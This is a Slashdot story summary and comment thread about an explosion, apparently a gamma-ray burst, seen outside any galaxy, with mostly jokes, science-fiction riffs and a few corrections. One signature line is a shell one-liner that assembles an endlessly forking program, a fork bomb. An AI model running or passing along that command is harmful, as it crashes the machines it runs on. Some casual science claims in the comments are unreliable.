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Supernova Detonates In Empty Space
mlimber tips a story in New Scientist about a powerful cosmic explosion that has astronomers scratching their heads. It apparently resulted from a supernova detonating in empty space, far from any galaxy. Researchers propose that the exploding star was in the gas trail yanked out of a galaxy when it passed or began merging with another. Quoting the lead author of the study: "Even if the galaxies have stopped forming stars, in the tidal tails you can trigger new episodes of star formation [not to mention detonation]." The research will be published in the Astrophysical Journal.
I didn't do it!
Slashdot Burying Stories About Slashdot Media Owned
My vote is that it was a starship that had a critical engine failure.
:(
It gives me hope and lets me sleep at night. Don't destroy my dream
...an interstellar war. Some alien species just lit off a nuke the size of a supernova. At least, it would be bad ass if that were the case.
Death Star
GetOuttaMySpace - The Anti-Social Network
SG-1 destroyed the last of the Goa'uld.
Sure baby, I'll give you my phone number...in Hex
It didn't happen in empty space, it happened to a star outside a galaxy.
What is the sound of a supernova exploding in an empty space? ... if there is no one there to hear it?
Ubuntu is an African word meaning 'I can't configure Debian'
I already had to worry about terrorists, killer bees, violent video games, and the War on Christmas, and now I have to worry about random supernovas in empty space.
:checks the sky for supernovas before walking outside:
Step into a huge movement. Don't Tread In Me.
How far can a star get from its home galaxy during it's lifetime? Especially one large enough to make a supernova: don't those have even shorter lifespans?
Even if it could escape the galaxy, how would it get far enough to make it questionable about what galaxy it came from?
You're saying that oral sex causes explosions in intergalactic space? How does that work exactly?
mcgrew's razor: Never attribute to stupidity that which can be explained by greedy self-interest
I read the article, and understood that a star among many others has been ejected out of its galaxy, something relatively usual, and that at the end of its life, it supernovaed. I can understand that scientists would be amazed by the unusualness of such an event, but what's puzzling about it? What is that to explain that is unexplained?
You just got troll'd!
It should have been written as "...Exploded in space outside any galaxy or identified solar system".
Picky yes, but it gets tiring reading "news" where the writers of the public blurbs just don't know enough to get the details right.
There's something wrong with the aggregation theory for supernovae. This sure sounde more like the gravitational collapse model.
No folly is more costly than the folly of intolerant idealism. - Winston Churchill
Oh... the JEDI are going to feel this one!
It wasn't exactly empty space.
We just witnessed entry into our dimension from a black hole from a separate reality. It just crushed a star.
Earth is right in the path of the next one. Just watch.
Perhaps the fL has been reached for this civilization.
N = N* fp ne fl fi fc fL
(fL = the fraction of the planet's life during which the communicating civilizations survives)
http://www.activemind.com/Mysterious/Topics/SETI/drake_equation.html
No va? I guess it finally did.
-
If you can hear me exploding, you're toast sucker!
Chas - The one, the only.
THANK GOD!!!
This universe is amazing in all the ways it runs. Supernovas are inevitable, obviously, and thus the new elements they create are destined to be dispersed. Astronomy has shown that these heavier elements inevitably form into new stars and planets. Physics shows that these elements inevitably form molecules. Chemistry shows that the molecules inevitably bind together to form complex substances. Biology shows that these complex substances will further form replicate themselves.
We began by connecting the dots in the sky to form images of heroes, gods and monsters. Who knew that when we finally connected them all together it would be a picture of ourselves?
Read my Very Short "Stories"
Dude, you saw my submission from Wednesday in the Firehose; it's still pending. It's not a dupe unless that one gets accepted, and even then this won't be a dupe, mine will. And it's not a hoax; try RTFA (same FA linked as my submission)
Silly anonymous cowards...
mcgrew's razor: Never attribute to stupidity that which can be explained by greedy self-interest
"stroking" in de light...
Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
You didn't know about that intergalactic star??? I knew about it. My cousin lives on the 6th planet from it (well, he DID). It was a beautiful place. When you looked up in the night sky, you only saw galaxies, no single stars. It was a wonderous place!! That planet was also inhabited by giant worms that spanned the entire circumference of the planet. Too bad it's gone now!! The stupid star vaporized it!!!!
http://en.wikipedia.org/wiki/Fred_Hoyle#Rejection_of_the_Big_Bang While having no argument with the Lemaître theory, (later confirmed by Edwin Hubble's observations) that the universe was expanding, Hoyle disagreed on its interpretation. An atheist, he found the idea that the universe had a beginning to be philosophically troubling, as many argue that a beginning implies a cause, and thus a creator (see kalam cosmological argument).[4] Instead, Hoyle, along with Thomas Gold and Hermann Bondi (with whom he had worked on radar in World War II), argued for the universe as being in a "steady state". The theory tried to explain how the universe could be eternal and essentially unchanging while still having the galaxies we observe moving away from each other. The theory hinged on the creation of matter between galaxies over time, so that even though galaxies get further apart, new ones that develop between them fill the space they leave. The resulting universe is in a "steady state" in the same manner that a flowing river is - the individual water molecules are moving away but the overall river remains the same. I guess you could imagine white holes spewing out matter from black holes into the void between the galaxies in a sort of mini big bang. I guess if we had lots of little bangs instead of one big one it would explain why the universe is flat and homogenous - you wouldn't need to have an inflationary period to flatten things like you do after one big bang. The cosmic microwave background radiation would thus come from all these white holes over eternity rather than one big bang.
Matter is conserved in one universe too, which seems neat. Black holes gobble it up and white holes spit it out. In the big bang model, something spooky connects black holes in one universe to big bangs in a different one. Or maybe matter isn't conserved at all.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They're gonna to blow, I'm gonna have to eject the warp core...
I guess that space wasn't so empty after all...
It could've been a hypervelocity star.
Um..... WTF?
I just think it's awesome they got to observe it.
Nice to see that I am not the only person that didn't get it.
Perhaps an oil company stooge trying to associate Al Gore and other anti-global warming folks with crazy people?
We all know this is the destruction of the first deathstar finally reaching planet earth... If we look real hard there will be Yavin near by... Cammon nerds and geeks! Admit it... Deathstar came to your mind as soon as you read it.
Is this evidence of heavier gas elements in space?
It was really a chain-reaction of a distant planet using new small portable reactors to power local neighborhoods.
So, if a star goes Supernova in the middle of intergalactic space and nobody observes it. . . did it really happen?
Funny I felt a vast disturbance in the force that day. It was as if a gazillion worms suddenly cried out and then there was silence!
As clearly stated in the article, this was not a supernova (SN), but rather a gamma ray burst (GRB). The network of satellites referred to all trigger on high energy gamma rays, and look for the afterglow of the event which caused the trigger. The time scale of GRBs is typically on the order of seconds. Core collapse SNe, by comparison, are optically visible and have a brightening and fading timescale on the order of days or tens of days.
Much more is understood of core collapse SNe than the progenitors of GRBs. One of the leading models for short GRB progenitors is the binary inspiral of two massive, compact objects, at least one of them being a neutron star. Obviously we can't resolve the region that the GRB came from, but from the above model, it's inferred that there is a region dense in stars out there, rather than just one isolated star. The second piece of evidence is that the afterglow was actually visible: this afterglow is most likely from shock waves in the interstellar gas, having associated high densities and temperatures, glowing in the optical or xray. If there was no gas by the progenitor of the GRB, there would not have been an afterglow (or the model is wrong).
The slashdot title was therefore wrong in two ways: this was not a SN event, and it was not in empty space - it was just not in a host galaxy.
-Leo
This being the 30th anniversary of Monty Python's Michael Palin first discussing the "Life of Brian" draft at Oxford, and Christmas being nigh, that nova can only mean there are three wise men are en route to Bethlehem, bearing gold and frankincense, and leading a balm on a leash.
"I improvise. It's my greatest talent. I prefer situations to plans..." --Wintermute, William Gibson's "Neuromancer"
... a white hole or something related could look that way?
Lets see it in a positive way... is better a supernova in empty space than one close to an habited (?) planet.
OMGosh and don't forget my COUSIN!! He was vaporized too. He was a brave Jedi Knight who killed many Sith Lords. Search your feelings friend...there were more than just worms there dammit!!
http://spanish.about.com/cs/culture/a/chevy_nova.htm
"I improvise. It's my greatest talent. I prefer situations to plans..." --Wintermute, William Gibson's "Neuromancer"
an industrial accident.
He wasn't about to allow Federation Technology to fall into the hands of the evil Klingon Empire...with this in mind Kirk uttered the ominious phrase, "0-0-0-Destruct-1", at which point the computer said in its sexiest voice, "Shatner...I've always loved you...I can't believe this is how it has to end...but...at least...I had you inside me...TIME UNTIL AUTO-DESTRUCT 00:01:00"
Before the Captain could respond his communicator chirped.
"Captain, this is Hikaru Sulu aboard the USS Excelsior, we are ready to beam you aboard your new command Captain."
The Computer was furious, "BILL! HOW COULD YOU?! AFTER ALL THOSE SEASONS AND MOVIES TOGETHER...HOW...*SOB*TIME UNTIL AUTO-DESTRUCT 00:00:53"
Kirk replied, "Computer...I'm sorry...but this...is...over. I have...WE have...to explore other options and I've explored all your strange new worlds...now...its time...for me to...to seek out new life forms...and new...sexy-civilizations..."
In a malevolent move the computer shut the doors and the turbolift ceased to operate..."Kirk...The cake...is a lie. Aw FUCK IT.TIME UNTIL AUTO-DESTRUCT 00:00:10"
Kirk had barely enough time to curse.."KAHHHHHHHHHHN! no wait...*poof*"
Meanwhile back on Earth a couple of astronomers were scanning the sky.. "Hey, did you see that?"
"See it, did you smell it?"
hmmm, I wonder if the explosion was half-way between the Pegasus Galaxy and the Milky Way Galaxy. Isn't there a station out there that connects the Pegasus Stargate network to the milky way Stargate network? McKay probably just pressed a wrong button again, typical.
Perhaps a Power dying deep in the Transcend?
I thought they were talking about suprnova... What? Doesn't exist anymore? Bummer...
What category should I use in eBay?
...Now
I for one, welcome our new supernovae overlords!
Supernovas have long been assumed to be a fixed brightness and thus been used to measure distances on a galactic scale by how bright they are. Recent research may refute that assumption which could explain this result. It would also invalidate many other theories and force us to rethink almost our entire theory of cosmology.
Non-Linux Penguins ?
I tried to read it once, too. I read /. at -1, because I like some of the trolls. I thought there was a joke buried in there somewhere. After a fyoo sentensys/lines tYPEd like th1s, I gave up/failed. It left me confused. I didn't see the point.
Life kinda sucks when no one gets your joke. It doesn't exactly make it worthwhile. Well, maybe to this guy it does.
Don't worry - they get easier to ignore.
...unless their famous hulls could survive the explosion of their travelling sun.
Most mythology is usually based on some fact or event and then is taken way out of context and embellished, take the star of Bethlehem for instance. It was most likely a planetary conjunction... http://www.sciencecodex.com/astronomer_explains_star_of_bethlehem
Star following does not necessitate tracking the path of the star across the night sky. It is generally based on where a certain star appears on the horizon. Read up on traditional Polynesian/Micronesian navigation for the details.
"Supernova Detonates In Empty Space"
Thank god! Can you imagine the mess if it had detonated in a crowded room?
Those damn Russians!
This is why we need a SuperNova Defense Shield!
Someone get Oliver Wendall Jones on the line, now!
Just imagine living on a planet orbiting a star, so far from any galaxy or other stars that the night sky has no visible objects in it. What if your planet was the only one and you had no moon? Yeah, the odds are low, but there's nothing that says it's impossible. Imagine civilization without the inspiration of stars and astronomy--unless somebody invented a telescope powerful enough for astronomy, but without stars to inspire them in the first place, would that happen? And even if it did, they'd only see galaxies, not other stars. Would such a society be able to figure out where they were, and come to grips with it? Would they conclude that life could only form far away from galactic centers? Would they ever come up with "Star Trek" or "Star Wars".
At least we can conceive of a multi-generation ship voyaging to the nearest stars at attainable speeds. The poor souls on that isolated world, if it existed, would have a much more daunting task.
For all intensive purposes, "whom" is no longer a word. That begs the question, "who cares"?
This is getting a bit of a joke. Maybe slashdot likes to filter out the more boring space stories, but they all seem to have astronomers shaking their head at some new result which contradicts 'known theory'.
Given that you can't do real science experiments in space, and only look at pretty pictures and make abstract mathematical models, I guess it isn't surprising the 'experts' don't really know what's going on out there.
_
\\/ are accustomed' - First Lensman
"It's a good thing our planet's system is way out here in the middle of nowhere away from all those big dangerous stars. We have only one single lonely star in our sky, which has been reliably shining since ... Hey! What the [no carrier]
Table-ized A.I.
Watch for me near the devil-star!
Re sig: "Jack The Ripper treated people in an Object Oriented way."
I don't get it. Please explain.
Table-ized A.I.
I don't know about the rest of the comments, but the most amazing thing i heard was that a whole star formed outside of a galaxy.
That is just plain cool. Imagine if a whole species, a civilization, started out far away from any other galaxy only having maybe a few stars around it. Can you imagine what their field of astronomy would be like? To know that there are this vastly huge collections of stars, black holes, nebula's and other celestial objects in far away galaxies and the distance you would have to travel to get there?
Would almost feel kind of lonely actually. One could imagine galaxies to be full of other space-faring civilizations capable of traveling from one star to another, and even with the same technology it would take you lifetimes to reach their galaxy.
God I love our universe sometimes. There is always something new that will just blow you away with it's beauty and makes you think.
Jackie Treehorn treats objects like women!
Caesar si viveret, ad remum dareris.
No, just a garden variety crazy person. These posts have been coming for years. They've never made any sense. They're full of clever misspellings. They tend to revolve around the extreme left-wing topics.
I like em, personally. Slashdot wouldn't be the same without the crap at -1. It's a shame the self-appointed intelligentsia won't read it more often.
Slashdot - where whining about luck is the new way to make the world you want.
It is surprising to read that "...galaxies have stopped creating stars...", since we know of lots of galaxies that are doing just fine. For example, try looking at the star formations in M16 and M43 to name just two!
Guess that Dyson Sphere project hit a snag. Who would have known you had to leave a few vent holes like a potato in a microwave?
Reality is for people that can't handle drugs. So do your part, just say no to reality!
In Portuguese, the word for "members" is the same as the word for "limbs", "membros" for both meanings. Doesn't a object have members as a person have limbs?
Onda Technology Institute